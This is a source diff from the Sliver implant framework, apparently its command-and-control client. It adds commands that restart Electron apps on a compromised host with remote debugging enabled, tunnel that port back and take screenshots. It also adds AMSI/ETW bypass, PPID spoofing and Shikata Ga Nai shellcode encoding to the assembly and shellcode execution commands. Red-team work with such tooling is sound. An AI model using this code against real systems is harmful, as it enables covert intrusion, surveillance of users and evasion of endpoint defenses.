"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/bishopfox/sliver/client/tcpproxy"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
electronExe := ctx.Flags.String("exe")
|
||||
if electronExe == "" {
|
||||
con.PrintErrorf("Missing --exe flag, see --help\n")
|
||||
return
|
||||
}
|
||||
|
||||
curse := avadaKedavraElectron(electronExe, session, ctx, con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Checking for debug targets ...")
|
||||
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
|
||||
con.Printf(console.Clearln + "\r")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to query debug targets: %s\n", err)
|
||||
return
|
||||
}
|
||||
if len(targets) == 0 {
|
||||
con.PrintErrorf("Zero debug targets found\n")
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
|
||||
}
|
||||
|
||||
func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
exists, err := checkElectronPath(electronExe, session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return nil
|
||||
}
|
||||
if !exists {
|
||||
con.PrintErrorf("Executable path does not exist: %s", electronExe)
|
||||
return nil
|
||||
}
|
||||
electronProcess, err := checkElectronProcess(electronExe, session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if electronProcess != nil {
|
||||
con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
|
||||
con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
|
||||
con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
||||
con.Printf("\n")
|
||||
confirm := false
|
||||
err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if !confirm {
|
||||
con.PrintErrorf("User cancel\n")
|
||||
return nil
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: electronProcess.Pid,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
|
||||
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
curse, err := startCursedElectronProcess(electronExe, session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
return curse
|
||||
}
|
||||
|
||||
func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (bool, error) {
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: electronExe,
|
||||
})
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
return ls.GetExists(), nil
|
||||
}
|
||||
|
||||
func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, process := range ps.Processes {
|
||||
if process.GetOwner() != session.GetUsername() {
|
||||
continue
|
||||
}
|
||||
if process.GetExecutable() == electronExe || path.Base(process.GetExecutable()) == path.Base(electronExe) {
|
||||
return process, nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
|
||||
con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
|
||||
debugPort := getRemoteDebuggerPort(ctx)
|
||||
args := []string{
|
||||
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
|
||||
}
|
||||
additionalArgs := ctx.Args.StringList("args")
|
||||
if len(additionalArgs) > 0 {
|
||||
args = append(args, additionalArgs...)
|
||||
}
|
||||
|
||||
// Execute the Chrome process with the extra flags
|
||||
// TODO: PPID spoofing, etc.
|
||||
electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: electronExe,
|
||||
Args: args,
|
||||
Output: false,
|
||||
})
|
||||
if err != nil {
|
||||
con.Printf("failure!\n")
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("(pid: %d) success!\n", electronExec.GetPid())
|
||||
|
||||
con.PrintInfof("Waiting for process to initialize ... ")
|
||||
time.Sleep(2 * time.Second)
|
||||
|
||||
bindPort := insecureRand.Intn(10000) + 40000
|
||||
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
|
||||
|
||||
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
|
||||
|
||||
tcpProxy := &tcpproxy.Proxy{}
|
||||
channelProxy := &core.ChannelProxy{
|
||||
Rpc: con.Rpc,
|
||||
Session: session,
|
||||
RemoteAddr: remoteAddr,
|
||||
BindAddr: bindAddr,
|
||||
KeepAlivePeriod: 60 * time.Second,
|
||||
DialTimeout: 30 * time.Second,
|
||||
}
|
||||
tcpProxy.AddRoute(bindAddr, channelProxy)
|
||||
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
|
||||
|
||||
curse := &core.CursedProcess{
|
||||
SessionID: session.ID,
|
||||
PID: electronExec.GetPid(),
|
||||
PortFwd: portFwd,
|
||||
BindTCPPort: bindPort,
|
||||
Platform: session.GetOS(),
|
||||
ExePath: electronExe,
|
||||
}
|
||||
core.CursedProcesses.Store(bindPort, curse)
|
||||
go func() {
|
||||
err := tcpProxy.Run()
|
||||
if err != nil {
|
||||
log.Printf("Proxy error %s", err)
|
||||
}
|
||||
core.CursedProcesses.Delete(bindPort)
|
||||
}()
|
||||
|
||||
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
|
||||
|
||||
return curse, nil
|
||||
}
|
||||
|
||||
func getElectronProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, process := range ps.Processes {
|
||||
if process.GetOwner() != session.GetUsername() {
|
||||
continue
|
||||
}
|
||||
if isChromeProcess(process.GetExecutable()) {
|
||||
return process, nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
@@ -0,0 +1,75 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
kill := ctx.Flags.Bool("kill")
|
||||
bindPort := ctx.Args.Int("bind-port")
|
||||
core.CloseCursedProcessesByBindPort(session.ID, bindPort)
|
||||
if kill {
|
||||
confirm := false
|
||||
err := survey.AskOne(&survey.Confirm{Message: "Kill the cursed process?"}, &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
if !confirm {
|
||||
con.PrintErrorf("User cancel\n")
|
||||
return
|
||||
}
|
||||
// Get cursed process
|
||||
var cursedProc *core.CursedProcess
|
||||
curses := core.CursedProcessBySessionID(session.ID)
|
||||
for _, curse := range curses {
|
||||
if curse.BindTCPPort == bindPort {
|
||||
cursedProc = curse
|
||||
}
|
||||
}
|
||||
if cursedProc == nil {
|
||||
con.PrintErrorf("Failed to find cursed process\n")
|
||||
return
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: int32(cursedProc.PID),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
|
||||
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
curse := selectCursedProcess(con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
con.Println()
|
||||
con.PrintInfof("Querying debug targets ... ")
|
||||
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
|
||||
con.Printf(console.Clearln + "\r")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to query debug targets: %s\n", err)
|
||||
return
|
||||
}
|
||||
target := selectDebugTarget(targets, con)
|
||||
if target == nil {
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Taking a screenshot of '%s' ... \n\n", target.Title)
|
||||
quality := ctx.Flags.Int64("quality")
|
||||
if quality < 1 || quality > 100 {
|
||||
con.PrintErrorf("Invalid quality value, must be between 1 and 100\n")
|
||||
return
|
||||
}
|
||||
data, err := overlord.Screenshot(curse, target.WebSocketDebuggerURL, target.ID, quality)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to take screenshot: %s\n", err)
|
||||
return
|
||||
}
|
||||
saveFile := ctx.Flags.String("save")
|
||||
if saveFile == "" {
|
||||
saveFile = fmt.Sprintf("screenshot-%s.png", time.Now().Format("20060102150405"))
|
||||
}
|
||||
err = ioutil.WriteFile(saveFile, data, 0644)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save screenshot: %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Screenshot saved to %s\n", saveFile)
|
||||
}
|
||||
@@ -0,0 +1,121 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
insecureRand "math/rand"
|
||||
"strconv"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory
|
||||
func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// Collect existing curses from core
|
||||
cursedProcesses := [][]string{}
|
||||
core.CursedProcesses.Range(func(key, value interface{}) bool {
|
||||
curse := value.(*core.CursedProcess)
|
||||
cursedProcesses = append(cursedProcesses, []string{
|
||||
fmt.Sprintf("%d", curse.BindTCPPort),
|
||||
strings.Split(curse.SessionID, "-")[0],
|
||||
fmt.Sprintf("%d", curse.PID),
|
||||
curse.Platform,
|
||||
curse.ExePath,
|
||||
curse.DebugURL().String(),
|
||||
})
|
||||
return true
|
||||
})
|
||||
// Display table if we have 1 or more curses
|
||||
if 0 < len(cursedProcesses) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Bind Port", "Session ID", "PID", "Platform", "Executable", "Debug URL",
|
||||
})
|
||||
for _, rowEntries := range cursedProcesses {
|
||||
row := table.Row{}
|
||||
for _, entry := range rowEntries {
|
||||
row = append(row, entry)
|
||||
}
|
||||
tw.AppendRow(table.Row(row))
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
} else {
|
||||
con.PrintInfof("No cursed processes\n")
|
||||
}
|
||||
}
|
||||
|
||||
// selectCursedProcess - Interactively select a cursed process from a list
|
||||
func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
cursedProcesses := []*core.CursedProcess{}
|
||||
core.CursedProcesses.Range(func(key, value interface{}) bool {
|
||||
cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess))
|
||||
return true
|
||||
})
|
||||
if len(cursedProcesses) < 1 {
|
||||
con.PrintErrorf("No cursed processes\n")
|
||||
return nil
|
||||
}
|
||||
|
||||
port2process := map[int]*core.CursedProcess{}
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
for _, cursedProcess := range cursedProcesses {
|
||||
fmt.Fprintf(table, "%d\t%s\t%s\n",
|
||||
cursedProcess.BindTCPPort,
|
||||
fmt.Sprintf("[Session %s]", strings.Split(cursedProcess.SessionID, "-")[0]),
|
||||
cursedProcess.ExePath)
|
||||
port2process[cursedProcess.BindTCPPort] = cursedProcess
|
||||
}
|
||||
table.Flush()
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a curse:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
err := survey.AskOne(prompt, &selected)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if selected == "" {
|
||||
return nil
|
||||
}
|
||||
selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
|
||||
return port2process[selectedPortNumber]
|
||||
}
|
||||
|
||||
func getRemoteDebuggerPort(ctx *grumble.Context) int {
|
||||
port := int(uint16(ctx.Flags.Int("remote-debugging-port")))
|
||||
if port == 0 {
|
||||
port = insecureRand.Intn(30000) + 10000
|
||||
}
|
||||
return port
|
||||
}
|
||||
@@ -20,13 +20,11 @@ package exec
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -52,7 +50,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
return
|
||||
}
|
||||
}
|
||||
assemblyBytes, err := ioutil.ReadFile(assemblyPath)
|
||||
assemblyBytes, err := os.ReadFile(assemblyPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err.Error())
|
||||
return
|
||||
@@ -60,19 +58,49 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
|
||||
assemblyArgs := ctx.Args.StringList("arguments")
|
||||
process := ctx.Flags.String("process")
|
||||
processArgsStr := ctx.Flags.String("process-arguments")
|
||||
processArgs := strings.Split(processArgsStr, " ")
|
||||
inProcess := ctx.Flags.Bool("in-process")
|
||||
|
||||
runtime := ctx.Flags.String("runtime")
|
||||
etwBypass := ctx.Flags.Bool("etw-bypass")
|
||||
amsiBypass := ctx.Flags.Bool("amsi-bypass")
|
||||
|
||||
if !inProcess && (runtime != "" || etwBypass || amsiBypass) {
|
||||
con.PrintErrorf("The --runtime, --etw-bypass, and --amsi-bypass flags can only be used with the --in-process flag\n")
|
||||
return
|
||||
}
|
||||
|
||||
assemblyArgsStr := strings.Join(assemblyArgs, " ")
|
||||
assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
|
||||
if len(assemblyArgsStr) > 256 && !inProcess {
|
||||
con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Do you want to continue?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Executing assembly ...", ctrl)
|
||||
execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: process,
|
||||
Arguments: strings.Join(assemblyArgs, " "),
|
||||
Assembly: assemblyBytes,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: process,
|
||||
Arguments: assemblyArgsStr,
|
||||
Assembly: assemblyBytes,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
Runtime: runtime,
|
||||
EtwBypass: etwBypass,
|
||||
AmsiBypass: amsiBypass,
|
||||
InProcess: inProcess,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -80,7 +108,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
hostname := getHostname(session, beacon)
|
||||
hostName := getHostname(session, beacon)
|
||||
if execAssembly.Response != nil && execAssembly.Response.Async {
|
||||
con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, execAssembly)
|
||||
@@ -88,52 +116,27 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
|
||||
|
||||
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(execAssembly.Response)
|
||||
} else {
|
||||
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
|
||||
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintExecuteAssembly - Print the results of an assembly execution
|
||||
func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname string,
|
||||
assemblyPath string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
lootName := ctx.Flags.String("name")
|
||||
|
||||
if execAssembly.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
|
||||
var outFilePath *os.File
|
||||
var err error
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
}
|
||||
con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(execAssembly.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
PrintExecutionOutput(string(execAssembly.GetOutput()), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
|
||||
|
||||
if ctx.Flags.Bool("loot") && 0 < len(execAssembly.GetOutput()) {
|
||||
name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(assemblyPath))
|
||||
err = loot.AddLootFile(con.Rpc, name, "console.txt", execAssembly.GetOutput(), false)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save output as loot: %s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Output saved as loot\n")
|
||||
}
|
||||
if saveLoot {
|
||||
LootExecute(execAssembly.GetOutput(), lootName, ctx.Command.Name, assemblyPath, hostName, con)
|
||||
}
|
||||
}
|
||||
|
||||
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return session.Hostname
|
||||
}
|
||||
if beacon != nil {
|
||||
return beacon.Hostname
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -23,7 +23,6 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
|
||||
@@ -31,7 +30,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"golang.org/x/crypto/ssh/terminal"
|
||||
"golang.org/x/term"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
@@ -44,6 +43,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
return
|
||||
}
|
||||
|
||||
rwxPages := ctx.Flags.Bool("rwx-pages")
|
||||
interactive := ctx.Flags.Bool("interactive")
|
||||
if interactive && beacon != nil {
|
||||
con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
|
||||
@@ -51,7 +51,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
}
|
||||
pid := ctx.Flags.Uint("pid")
|
||||
shellcodePath := ctx.Args.String("filepath")
|
||||
shellcodeBin, err := ioutil.ReadFile(shellcodePath)
|
||||
shellcodeBin, err := os.ReadFile(shellcodePath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
@@ -60,8 +60,37 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
|
||||
return
|
||||
}
|
||||
shikataGaNai := ctx.Flags.Bool("shikata-ga-nai")
|
||||
if shikataGaNai {
|
||||
if !rwxPages {
|
||||
con.PrintErrorf("Cannot use shikata ga nai without RWX pages enabled\n")
|
||||
return
|
||||
}
|
||||
arch := ctx.Flags.String("architecture")
|
||||
if arch != "386" && arch != "amd64" {
|
||||
con.PrintErrorf("Invalid shikata ga nai architecture (must be 386 or amd64)\n")
|
||||
return
|
||||
}
|
||||
iter := ctx.Flags.Int("iterations")
|
||||
con.PrintInfof("Encoding shellcode ...\n")
|
||||
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
|
||||
Architecture: arch,
|
||||
Iterations: uint32(iter),
|
||||
BadChars: []byte{},
|
||||
Data: shellcodeBin,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
oldSize := len(shellcodeBin)
|
||||
shellcodeBin = resp.GetData()
|
||||
con.PrintInfof("Shellcode encoded in %d iterations (%d bytes -> %d bytes)\n", iter, oldSize, len(shellcodeBin))
|
||||
}
|
||||
|
||||
if interactive {
|
||||
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), con)
|
||||
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, rwxPages, con)
|
||||
return
|
||||
}
|
||||
ctrl := make(chan bool)
|
||||
@@ -69,7 +98,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
|
||||
Data: shellcodeBin,
|
||||
RWXPages: ctx.Flags.Bool("rwx-pages"),
|
||||
RWXPages: rwxPages,
|
||||
Pid: uint32(pid),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
@@ -125,7 +154,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
|
||||
return
|
||||
}
|
||||
|
||||
tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
|
||||
tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
|
||||
|
||||
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
@@ -161,9 +190,9 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
|
||||
log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
|
||||
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
|
||||
|
||||
var oldState *terminal.State
|
||||
var oldState *term.State
|
||||
if !noPty {
|
||||
oldState, err = terminal.MakeRaw(0)
|
||||
oldState, err = term.MakeRaw(0)
|
||||
log.Printf("Saving terminal state: %v", oldState)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save terminal state\n")
|
||||
@@ -195,7 +224,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
|
||||
|
||||
if !noPty {
|
||||
log.Printf("Restoring terminal state ...")
|
||||
terminal.Restore(0, oldState)
|
||||
term.Restore(0, oldState)
|
||||
}
|
||||
|
||||
log.Printf("Exit interactive")
|
||||
|
||||
+137
-25
@@ -18,7 +18,10 @@ package exec
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -41,6 +44,13 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
output := ctx.Flags.Bool("output")
|
||||
stdout := ctx.Flags.String("stdout")
|
||||
stderr := ctx.Flags.String("stderr")
|
